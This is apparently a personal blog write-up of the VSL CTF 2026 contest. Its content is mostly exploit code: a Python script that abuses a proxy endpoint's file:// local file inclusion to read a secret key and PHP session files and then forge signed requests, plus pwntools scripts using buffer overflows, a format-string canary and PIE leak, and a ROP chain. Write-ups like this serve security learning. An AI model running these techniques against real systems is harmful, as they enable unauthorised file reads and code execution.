Skip to content
hoalvh
Go back

[WRITE-UP] - VSL CTF 2026

2 min read Edit page

Intro

Hey everyone! šŸ‘‹

I recently participated in VSL-CTF 2026 organized by VKU Security Lab - VSL, and it was an absolute blast! My team, Xnxploit, secured the 29th place.

The challenges were awesome. A big thanks to the VSL Admin Team and challenge authors. Kudos to you guys! šŸ‘

In this post, I’m excited to share my write-ups for the challenges I solved. Hopefully you find these solutions helpful.

Score

Web

mrGraph

Cornhub

Key game

import requests
import re
import hashlib
import sys

TARGET_HOST = "http://124.197.22.141:7878"
PROXY_ENDPOINT = "/javascript/jquery-jfeed/proxy.php"

s = requests.Session()
def log(msg):
    print(f"[*] {msg}")
def get_file_via_lfi(filepath):
    url = f"{TARGET_HOST}{PROXY_ENDPOINT}"
    params = {'url': f'file://{filepath}'}
    try:
        r = s.get(url, params=params, timeout=5)
        return r.text
    except Exception as e:
        log(f"{e}")
        return None
def solve():
    log("SEND respawn request to create new map...")
    resp = s.get(f"{TARGET_HOST}/index.php?act=respawn")
    phpsessid = s.cookies.get('PHPSESSID')
    if not phpsessid:
        log("Error: Could not retrieve PHPSESSID.")
        return
    log(f"Current Session ID : {phpsessid}")
    # READING SECRET_KEY
    log("Reading file /var/www/secret_key.txt...")
    secret_key_content = get_file_via_lfi("/var/www/secret_key.txt")
    if not secret_key_content or "failed" in secret_key_content:
        log("An error occurred while reading secret_key.txt.")
        return
    SECRET_KEY = secret_key_content.strip()
    log(f"LEAKED SECRET_KEY: {SECRET_KEY}")
    sess_path = f"/tmp/sess_{phpsessid}"
    log(f"READING file session: {sess_path}...")
    sess_data = get_file_via_lfi(sess_path)
    if not sess_data:
        log("Error reading session file.")
        return
    matches = re.findall(r'i:(\d+);i:([01]);', sess_data)
    if len(matches) < 40:
        log("Error: Could not find enough path data in session file.")
        log(f"Data raw: {sess_data[:200]}...")
        return
    path_map = {int(k): int(v) for k, v in matches}
    SORTED_PATH = [path_map[i] for i in range(40)]
    log(f"MAP: {SORTED_PATH}")
    log("SENDING REQUEST...")
    for step, side in enumerate(SORTED_PATH):
        raw_string = f"{SECRET_KEY}|{step}|{side}"
        signature = hashlib.md5(raw_string.encode()).hexdigest()
        params = {
            'act': 'move',
            'step': step,
            'side': side,
            'h': signature
        }
        # move
        r = s.get(f"{TARGET_HOST}/index.php", params=params)
        if "You Win" in r.text:
            flag = r.text.split('|')[-1]
            print("\n" + "#"*50)
            print(f"FLAG FOUND! FLAG: {flag}")
            return
        if "ok" not in r.text:
            log(f"FAILED at {step} (Side {side}). Server res: {r.text}")
            return

        sys.stdout.write(f"\rStep {step+1}/40 OK...")
        sys.stdout.flush()

if __name__ == "__main__":
    solve()

Compress Server

Trust issues

Pwn

Highlands

#!/usr/bin/env python3
from pwn import *

exe = ELF("./highlands")
context.binary = exe
context.log_level = 'debug'
# context.arch = 'amd64'
context.terminal = ["cmd.exe", "/c", "start", "wsl.exe", "-e"]

# libc = ELF("./libc.so.6", checksec=False)
# ld = ELF("./ld-linux-x86-64.so.2", checksec=False)
def sla(delim, data): return p.sendlineafter(delim, data)
def sa(delim, data):  return p.sendafter(delim, data)
def sl(data):         return p.sendline(data)
def s(data):          return p.send(data)
def ru(delim):        return p.recvuntil(delim)
def rl():             return p.recvline()
def r(n):             return p.recv(n)

gdbscript = '''
init-pwndbg
continue
'''
def conn():
    if args.REMOTE:
        return remote("HOST_ADDRESS", 1337)
    elif args.GDB:
        return gdb.debug([exe.path], gdbscript=gdbscript)
    else:
        # return process([ld.path, exe.path], env={"LD_PRELOAD": libc.path})
        return process([exe.path])
p = conn()
# --- Exploit ---

# Payload
payload = cyclic(36) + p32(0xcafebabe)
s(payload)
p.interactive()

Dog-Bark-None-Bite

#!/usr/bin/env python3
from pwn import *

exe = ELF("./chall")
context.binary = exe
context.log_level = 'debug'
context.terminal = ["cmd.exe", "/c", "start", "wsl.exe", "-e"]
# context.arch = 'amd64'
# libc = ELF("./libc.so.6", checksec=False)
# ld = ELF("./ld-linux-x86-64.so.2", checksec=False)
gdbscript = '''
c
'''
def conn():
    if args.REMOTE:
        return remote("HOST_ADDRESS", 1337)
    elif args.GDB:
        return gdb.debug([exe.path], gdbscript=gdbscript)
    else:
        # return process([ld.path, exe.path], env={"LD_PRELOAD": libc.path})
        return process([exe.path])
p = conn()

def sla(delim, data): return p.sendlineafter(delim, data)
def sa(delim, data):  return p.sendafter(delim, data)
def sl(data):         return p.sendline(data)
def s(data):          return p.send(data)
def ru(delim):        return p.recvuntil(delim)
def rl():             return p.recvline()
def r(n):             return p.recv(n)

# --- Exploit ---
# Payload
payload = b"President" + b'\x00' + cyclic(22)
sa(b'name: \n', payload)

p.interactive()

Warden

#!/usr/bin/env python3
from pwn import *

exe = ELF("./warden")
context.binary = exe
context.log_level = 'debug'
# context.arch = 'amd64'
context.terminal = ["cmd.exe", "/c", "start", "wsl.exe", "-e"]
# libc = ELF("./libc.so.6", checksec=False)
# ld = ELF("./ld-linux-x86-64.so.2", checksec=False)

def sla(delim, data): return p.sendlineafter(delim, data)
def sa(delim, data):  return p.sendafter(delim, data)
def sl(data):         return p.sendline(data)
def s(data):          return p.send(data)
def ru(delim):        return p.recvuntil(delim)
def rl():             return p.recvline()
def r(n):             return p.recv(n)

gdbscript = '''
init-pwndbg
continue
'''
def conn():
    if args.REMOTE:
        return remote("HOST_ADDRESS", 1337)
    elif args.GDB:
        return gdb.debug([exe.path], gdbscript=gdbscript)
    else:
        # return process([ld.path, exe.path], env={"LD_PRELOAD": libc.path})
        return process([exe.path])
p = conn()
# --- Exploit ---
# Payload
ru(b"breached.\n")
sl(b'%15$p|%19$p')
raw_output = p.recvline()

clean_output = raw_output.split(b'Pow')[0].strip()
leak_data = clean_output.split(b'|')

canary = int(leak_data[0], 16)
leak_main_ret = int(leak_data[1], 16)

log.success(f"Canary: {hex(canary)}")
log.success(f"Leak Ret: {hex(leak_main_ret)}")

offset_ret_main = 0x14fd
exe.address = leak_main_ret - offset_ret_main
log.success(f"PIE Base: {hex(exe.address)}")

rop = ROP(exe)
pop_ret = rop.find_gadget(['pop ebx', 'ret'])[0]

payload = flat(
    exe.symbols['braum'],
    pop_ret,
    4919,

    exe.symbols['ornn'],
    pop_ret,
    1056,

    exe.symbols['thress'],
    pop_ret,
    0xdeadbeef,

    exe.symbols['win'],
    0x0,
    291
)

final_payload = b'A' * 32 + p32(canary) + b'B' * 12 + payload

log.info("Sending payload...")
sl(final_payload)

p.interactive()

Edit page